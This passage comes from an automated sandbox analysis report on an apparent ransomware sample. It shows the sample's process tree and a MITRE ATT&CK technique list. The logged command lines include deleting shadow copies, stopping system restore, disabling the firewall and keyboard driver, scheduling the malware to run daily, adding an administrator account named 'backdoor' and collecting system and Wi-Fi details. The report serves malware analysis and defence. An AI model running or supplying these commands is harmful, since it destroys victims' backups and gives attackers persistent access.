    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3504
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5680
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4080
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:900
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4432
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3492
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3756
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:2196
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5520
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5228
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4312

C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
1⤵
PID:2420

C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.quest_nano.exe
1⤵
PID:5748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery